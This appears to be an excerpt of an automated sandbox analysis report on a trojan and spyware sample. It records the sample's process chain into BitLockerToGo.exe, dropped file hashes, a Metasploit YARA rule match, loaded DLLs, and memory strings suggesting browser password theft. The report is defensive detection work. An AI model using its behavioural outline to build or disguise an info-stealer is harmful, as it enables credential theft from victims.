Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_004293D0	2_2_004293D0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_0041F388	2_2_0041F388
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_0042D420	2_2_0042D420
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_0040B4E0	2_2_0040B4E0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_004264BD	2_2_004264BD
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_0040C560	2_2_0040C560
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_00448560	2_2_00448560
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_00405500	2_2_00405500
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_0043E5C0	2_2_0043E5C0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_0042C5A0	2_2_0042C5A0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_004385A0	2_2_004385A0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_0042F662	2_2_0042F662
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_00409602	2_2_00409602
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_00407620	2_2_00407620
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_0042D621	2_2_0042D621
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_004466F0	2_2_004466F0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_004247C0	2_2_004247C0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_0040E780	2_2_0040E780
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_0040A8F0	2_2_0040A8F0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_00416892	2_2_00416892
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_00445950	2_2_00445950
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_00403960	2_2_00403960
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_0042E9BD	2_2_0042E9BD
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_0040BA50	2_2_0040BA50
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_00429A2F	2_2_00429A2F
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_00411789	2_2_00411789
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_00436A80	2_2_00436A80
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_00446AA0	2_2_00446AA0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_00421AB0	2_2_00421AB0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_00442AB0	2_2_00442AB0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_0042BABB	2_2_0042BABB
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_0041DB48	2_2_0041DB48
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_00424B50	2_2_00424B50
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_00420B70	2_2_00420B70
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_0042FB39	2_2_0042FB39
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_00446BB0	2_2_00446BB0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_0041EC80	2_2_0041EC80
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_0043CC90	2_2_0043CC90
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_00445D40	2_2_00445D40
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_00425D7B	2_2_00425D7B
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_00429E48	2_2_00429E48
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_00422E70	2_2_00422E70
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_0042AE18	2_2_0042AE18
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_0042AEE0	2_2_0042AEE0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_00423E90	2_2_00423E90
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_0042DF77	2_2_0042DF77
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_00420FE9	2_2_00420FE9
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_00446F80	2_2_00446F80

Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Temp\RarSFX0\Imperial_Delay\Qt5GuiVBox.dll 86F6A04FE611CA402D3C4841561F5B396CE61F0212BB6DA58C7274532E2CFD14
Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Temp\RarSFX0\Imperial_Delay\Qt5SqlVBox.dll EAA9EFDE1704FA6ABBEF9878EECFA386E89003F23E07ADCAF641A6C741893BA1
Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Temp\RarSFX0\Imperial_Delay\VBoxClient-x86.dll 84B47308ABC293515FA8B682D7EDE3A53FED426A7073CFEC466BCDE681DA715F

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: String function: 0040D040 appears 68 times
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: String function: 0041E8C0 appears 234 times

Source: libidn2-0.dll.0.dr	Static PE information: Number of sections : 11 > 10
Source: libintl-8.dll.0.dr	Static PE information: Number of sections : 12 > 10
Source: libiconv-2.dll.0.dr	Static PE information: Number of sections : 12 > 10

Source: 00000001.00000002.1881484672.000000000A7D8000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Matched rule: Msfpayloads_msf_9 date = 2017-02-09, hash1 = e408678042642a5d341e8042f476ee7cef253871ef1c9e289acf0ee9591d1e81, author = Florian Roth, description = Metasploit Payloads - file msf.war - contents, reference = Internal Research

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@5/13@10/2

Source: C:\Users\user\Desktop\HLZwUhcJ28.exe

Code function: 0_2_00007FF70ECD3BF8 GetLastError,FormatMessageW,LocalFree,

0_2_00007FF70ECD3BF8

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Code function: 2_2_0043D8D0 CoCreateInstance,

2_2_0043D8D0

Source: C:\Users\user\Desktop\HLZwUhcJ28.exe

Code function: 0_2_00007FF70ECEC260 FindResourceW,SizeofResource,LoadResource,LockResource,GlobalAlloc,GlobalLock,CreateStreamOnHGlobal,GdipCreateHBITMAPFromBitmap,GlobalUnlock,GlobalFree,

0_2_00007FF70ECEC260

Source: C:\Users\user\Desktop\HLZwUhcJ28.exe

File created: C:\Users\user\AppData\Local\Temp\RarSFX0

Jump to behavior

Source: HLZwUhcJ28.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\HLZwUhcJ28.exe

File read: C:\Windows\win.ini

Jump to behavior

Source: C:\Users\user\Desktop\HLZwUhcJ28.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: qsqlite.dll.0.dr	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: qsqlite.dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: qsqlite.dll.0.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: qsqlite.dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: qsqlite.dll.0.dr	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: qsqlite.dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: BitLockerToGo.exe, 00000002.00000003.1924561686.0000000005066000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1925169464.000000000504A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: qsqlite.dll.0.dr	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);

Source: HLZwUhcJ28.exe

ReversingLabs: Detection: 50%

Source: Imperial_Delay.exe	String found in binary or memory: &github.com/filecoin-project/go-address
Source: Imperial_Delay.exe	String found in binary or memory: runqueue= stopwait= runqsize= gfreecnt= throwing= spinning=atomicand8float64nanfloat32nanException ptrSize= targetpc= until pc=unknown pcruntime: ggoroutine (BADINDEX)%!(NOVERB)Connectionlocal-addrSet-Cookie; Expires=; Max-Age=; HttpOnly stream=%d:authorityset-cookieuser-agentkeep-aliveconnectionHost: %s
Source: Imperial_Delay.exe	String found in binary or memory: stopm spinning nmidlelocked= needspinning=store64 failedmemprofileratesemaRoot queuebad allocCountbad span statestack overflow untyped args out of range no module data in goroutine RegSetValueExWContent-Length; SameSite=LaxERR_UNKNOWN_%daccept-charsetcontent-lengthread_frame_eofinternal errorunknown error unknown code: Not AcceptableMAX_FRAME_SIZEPROTOCOL_ERRORINTERNAL_ERRORREFUSED_STREAM.WithDeadline(<not Stringer>.in-addr.arpa.unknown mode: invalid syntax1907348632812595367431640625unexpected EOFunsafe.Pointer on zero Valuereflect.Value.unknown method^[a-f0-9]{64}$^[a-f0-9]{96}$CLICOLOR_FORCEerrdefs.Vertexerrdefs.Sourceexec.meta.baseexec.mount.sshexec.secretenvpb.ExportCachereserved_rangefield_presencemurmur3-x64-64ControlServiceCreateServiceWIsWellKnownSidMakeAbsoluteSDOpenSCManagerWSetThreadTokenClearCommBreakClearCommErrorCreateEventExWCreateMutexExWGetTickCount64IsWow64ProcessLoadLibraryExWModule32FirstWSetConsoleModeSizeofResourceVirtualProtectVirtualQueryExCoInitializeExCoUninitializeGetShellWindowVerQueryValueWunreachable: /log/filter.go/log/helper.goboringcrypto: data truncated
Source: Imperial_Delay.exe	String found in binary or memory: depgithub.com/filecoin-project/go-addressv1.1.0h1:ofdtUtEsNxkIxkDw67ecSmvtzaVSdcea4boAmLbnHfE=
Source: Imperial_Delay.exe	String found in binary or memory: github.com/filecoin-project/go-address.init.0
Source: Imperial_Delay.exe	String found in binary or memory: github.com/filecoin-project/go-address.glob..func1
Source: Imperial_Delay.exe	String found in binary or memory: github.com/filecoin-project/go-address.Address.Bytes
Source: Imperial_Delay.exe	String found in binary or memory: github.com/filecoin-project/go-address.glob..func2
Source: Imperial_Delay.exe	String found in binary or memory: github.com/filecoin-project/go-address.Address.Protocol
Source: Imperial_Delay.exe	String found in binary or memory: github.com/filecoin-project/go-address.Address.Payload
Source: Imperial_Delay.exe	String found in binary or memory: github.com/filecoin-project/go-address.Address.String
Source: Imperial_Delay.exe	String found in binary or memory: github.com/filecoin-project/go-address.Address.Empty
Source: Imperial_Delay.exe	String found in binary or memory: github.com/filecoin-project/go-address.Address.Unmarshal
Source: Imperial_Delay.exe	String found in binary or memory: github.com/filecoin-project/go-address.Address.Marshal
Source: Imperial_Delay.exe	String found in binary or memory: github.com/filecoin-project/go-address.(*Address).UnmarshalJSON
Source: Imperial_Delay.exe	String found in binary or memory: github.com/filecoin-project/go-address.Address.MarshalJSON
Source: Imperial_Delay.exe	String found in binary or memory: github.com/filecoin-project/go-address.(*Address).Scan
Source: Imperial_Delay.exe	String found in binary or memory: github.com/filecoin-project/go-address.NewActorAddress
Source: Imperial_Delay.exe	String found in binary or memory: github.com/filecoin-project/go-address.addressHash
Source: Imperial_Delay.exe	String found in binary or memory: github.com/filecoin-project/go-address.NewFromBytes
Source: Imperial_Delay.exe	String found in binary or memory: github.com/filecoin-project/go-address.newAddress
Source: Imperial_Delay.exe	String found in binary or memory: github.com/filecoin-project/go-address.encode
Source: Imperial_Delay.exe	String found in binary or memory: github.com/filecoin-project/go-address.Checksum
Source: Imperial_Delay.exe	String found in binary or memory: github.com/filecoin-project/go-address.base32decode
Source: Imperial_Delay.exe	String found in binary or memory: github.com/filecoin-project/go-address.decode
Source: Imperial_Delay.exe	String found in binary or memory: github.com/filecoin-project/go-address.ValidateChecksum
Source: Imperial_Delay.exe	String found in binary or memory: github.com/filecoin-project/go-address.hash
Source: Imperial_Delay.exe	String found in binary or memory: github.com/filecoin-project/go-address.Address.MarshalBinary
Source: Imperial_Delay.exe	String found in binary or memory: github.com/filecoin-project/go-address.(*Address).UnmarshalBinary
Source: Imperial_Delay.exe	String found in binary or memory: github.com/filecoin-project/go-address.(*Address).MarshalCBOR
Source: Imperial_Delay.exe	String found in binary or memory: github.com/filecoin-project/go-address.(*Address).UnmarshalCBOR
Source: Imperial_Delay.exe	String found in binary or memory: github.com/filecoin-project/go-address.init.1
Source: Imperial_Delay.exe	String found in binary or memory: github.com/filecoin-project/go-address.init
Source: Imperial_Delay.exe	String found in binary or memory: github.com/filecoin-project/go-address.(*Address).Bytes
Source: Imperial_Delay.exe	String found in binary or memory: github.com/filecoin-project/go-address.(*Address).Empty
Source: Imperial_Delay.exe	String found in binary or memory: github.com/filecoin-project/go-address.(*Address).Marshal
Source: Imperial_Delay.exe	String found in binary or memory: github.com/filecoin-project/go-address.(*Address).MarshalBinary
Source: Imperial_Delay.exe	String found in binary or memory: github.com/filecoin-project/go-address.(*Address).MarshalJSON
Source: Imperial_Delay.exe	String found in binary or memory: github.com/filecoin-project/go-address.(*Address).Payload
Source: Imperial_Delay.exe	String found in binary or memory: github.com/filecoin-project/go-address.(*Address).Protocol
Source: Imperial_Delay.exe	String found in binary or memory: github.com/filecoin-project/go-address.(*Address).String
Source: Imperial_Delay.exe	String found in binary or memory: github.com/filecoin-project/go-address.(*Address).Unmarshal
Source: Imperial_Delay.exe	String found in binary or memory: net/addrselect.go
Source: Imperial_Delay.exe	String found in binary or memory: google.golang.org/grpc@v1.64.0/internal/balancerload/load.go
Source: Imperial_Delay.exe	String found in binary or memory: github.com/filecoin-project/go-address@v1.1.0/address.go
Source: Imperial_Delay.exe	String found in binary or memory: github.com/filecoin-project/go-address@v1.1.0/address.go
Source: Imperial_Delay.exe	String found in binary or memory: github.com/filecoin-project/go-address@v1.1.0/constants.go
Source: Imperial_Delay.exe	String found in binary or memory: github.com/saferwall/pe@v1.5.4/loadconfig.go

Source: C:\Users\user\Desktop\HLZwUhcJ28.exe

File read: C:\Users\user\Desktop\HLZwUhcJ28.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\HLZwUhcJ28.exe "C:\Users\user\Desktop\HLZwUhcJ28.exe"
Source: C:\Users\user\Desktop\HLZwUhcJ28.exe	Process created: C:\Users\user\AppData\Local\Temp\RarSFX0\Imperial_Delay.exe "C:\Users\user\AppData\Local\Temp\RarSFX0\Imperial_Delay.exe"
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Imperial_Delay.exe	Process created: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe "C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe"
Source: C:\Users\user\Desktop\HLZwUhcJ28.exe	Process created: C:\Users\user\AppData\Local\Temp\RarSFX0\Imperial_Delay.exe "C:\Users\user\AppData\Local\Temp\RarSFX0\Imperial_Delay.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Imperial_Delay.exe	Process created: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe "C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe"	Jump to behavior

Source: C:\Users\user\Desktop\HLZwUhcJ28.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\HLZwUhcJ28.exe	Section loaded: dxgidebug.dll	Jump to behavior
Source: C:\Users\user\Desktop\HLZwUhcJ28.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Users\user\Desktop\HLZwUhcJ28.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\HLZwUhcJ28.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\HLZwUhcJ28.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\HLZwUhcJ28.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\HLZwUhcJ28.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\HLZwUhcJ28.exe	Section loaded: riched20.dll	Jump to behavior
Source: C:\Users\user\Desktop\HLZwUhcJ28.exe	Section loaded: usp10.dll	Jump to behavior
Source: C:\Users\user\Desktop\HLZwUhcJ28.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Users\user\Desktop\HLZwUhcJ28.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\HLZwUhcJ28.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\Desktop\HLZwUhcJ28.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\HLZwUhcJ28.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\HLZwUhcJ28.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\HLZwUhcJ28.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\HLZwUhcJ28.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\HLZwUhcJ28.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\HLZwUhcJ28.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\HLZwUhcJ28.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\HLZwUhcJ28.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\HLZwUhcJ28.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\HLZwUhcJ28.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\HLZwUhcJ28.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\HLZwUhcJ28.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\HLZwUhcJ28.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\HLZwUhcJ28.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\HLZwUhcJ28.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\HLZwUhcJ28.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\HLZwUhcJ28.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\HLZwUhcJ28.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\HLZwUhcJ28.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\HLZwUhcJ28.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\HLZwUhcJ28.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\HLZwUhcJ28.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\HLZwUhcJ28.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\HLZwUhcJ28.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\HLZwUhcJ28.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\HLZwUhcJ28.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Users\user\Desktop\HLZwUhcJ28.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\HLZwUhcJ28.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\user\Desktop\HLZwUhcJ28.exe	Section loaded: ntshrui.dll	Jump to behavior
Source: C:\Users\user\Desktop\HLZwUhcJ28.exe	Section loaded: cscapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Imperial_Delay.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Imperial_Delay.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Imperial_Delay.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Imperial_Delay.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Imperial_Delay.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior

Source: C:\Users\user\Desktop\HLZwUhcJ28.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{00BB2765-6A77-11D0-A535-00C04FD7D062}\InProcServer32

Jump to behavior

Source: HLZwUhcJ28.exe

Static PE information: Image base 0x140000000 > 0x60000000

Source: HLZwUhcJ28.exe

Static file information: File size 13706949 > 1048576

Source: HLZwUhcJ28.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: HLZwUhcJ28.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: HLZwUhcJ28.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: HLZwUhcJ28.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
